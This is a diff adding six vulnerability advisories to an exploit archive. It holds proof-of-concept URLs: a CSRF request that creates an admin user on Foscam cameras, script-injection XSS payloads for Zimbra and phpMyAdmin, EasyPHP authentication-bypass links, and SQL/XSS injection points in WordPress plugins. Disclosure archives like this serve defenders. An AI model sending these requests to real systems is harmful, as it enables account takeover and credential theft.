DB: 2015-10-11

6 new exploits

files.csv

@@ -34717,3 +34717,9 @@ id,file,description,date,author,platform,type,port
 38433,platforms/php/webapps/38433.txt,"PHP Address Book /addressbook/register/user_add_save.php email Parameter SQL Injection",2013-04-05,"Jurgen Voorneveld",php,webapps,0
 38434,platforms/php/webapps/38434.txt,"PHP Address Book /addressbook/register/checklogin.php username Parameter SQL Injection",2013-04-05,"Jurgen Voorneveld",php,webapps,0
 38435,platforms/php/webapps/38435.txt,"PHP Address Book /addressbook/register/admin_index.php q Parameter SQL Injection",2013-04-05,"Jurgen Voorneveld",php,webapps,0
+38436,platforms/php/webapps/38436.txt,"Zimbra 'aspell.php' Cross Site Scripting Vulnerability",2013-04-05,"Michael Scherer",php,webapps,0
+38437,platforms/hardware/remote/38437.txt,"Multiple Foscam IP Cameras Multiple Cross Site Request Forgery Vulnerabilities",2013-04-09,shekyan,hardware,remote,0
+38438,platforms/php/webapps/38438.txt,"EasyPHP 'index.php' Authentication Bypass and Remote PHP Code Injection Vulnerability",2013-04-09,KedAns-Dz,php,webapps,0
+38439,platforms/php/webapps/38439.txt,"WordPress Traffic Analyzer Plugin 'aoid' Parameter Cross Site Scripting Vulnerability",2013-04-09,Beni_Vanda,php,webapps,0
+38440,platforms/php/webapps/38440.txt,"phpMyAdmin 'tbl_gis_visualization.php' Multiple Cross Site Scripting Vulnerabilities",2013-04-09,waraxe,php,webapps,0
+38441,platforms/php/webapps/38441.txt,"WordPress Spiffy XSPF Player Plugin 'playlist_id' Parameter SQL Injection Vulnerability",2013-04-10,"Ashiyane Digital Security Team",php,webapps,0

platforms/hardware/remote/38437.txt

@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/58943/info
+
+Multiple Foscam IP Cameras are prone to multiple cross-site request-forgery vulnerabilities.
+
+Exploiting these issues may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.
+
+The following products are vulnerable:
+
+Foscam FI8910W running Embedded Web Interface 2.4.10.3
+Foscam FI8908W running Embedded Web Interface 2.4.10.3
+
+http://www.example.com/set_users.cgi?user1=&pwd1=&pri1=2&user2=&pwd2=&pri2=&user3=&pwd3=&pri3=&user4=&pwd4=&pri4=&user5=&pwd5=&pri5=&user6=&pwd6=&pri6=&user7=&pwd7=&pri7=&user8=csrf&pwd8=csrf&pri8=2&next_url= 

platforms/php/webapps/38436.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/58913/info
+
+Zimbra is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 
+
+http://www.example.com/aspell.php?disctionnary=&gt;<script>alert('foo');</script> 

platforms/php/webapps/38438.txt

@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/58945/info
+
+EasyPHP is prone to an authentication bypass and a PHP code execution vulnerability.
+
+Attackers may exploit these issues to gain unauthorized access to the affected application and perform arbitrary actions or execute arbitrary PHP code within the context of the web server process. Successful attacks can compromise the affected application and possibly the underlying computer.
+
+EasyPHP 12.1 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/home/index.php?to=ext
+
+http://www.example.com/home/index.php?to=phpinfo 

platforms/php/webapps/38439.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/58948/info
+
+The Traffic Analyzer plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 
+
+http://www.example.com/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=[Xss] 

platforms/php/webapps/38440.txt

@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/58962/info
+
+phpMyAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+
+phpMyAdmin 3.5.0 through versions 3.5.7 are vulnerable. 
+
+http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[width]="><script>alert(123);</script>
+
+http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[height]="><script>alert(123);</script> 

platforms/php/webapps/38441.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/58976/info
+
+Spiffy XSPF Player plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Spiffy XSPF Player 0.1 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/wp-content/plugins/spiffy/playlist.php?playlist_id=[SQL]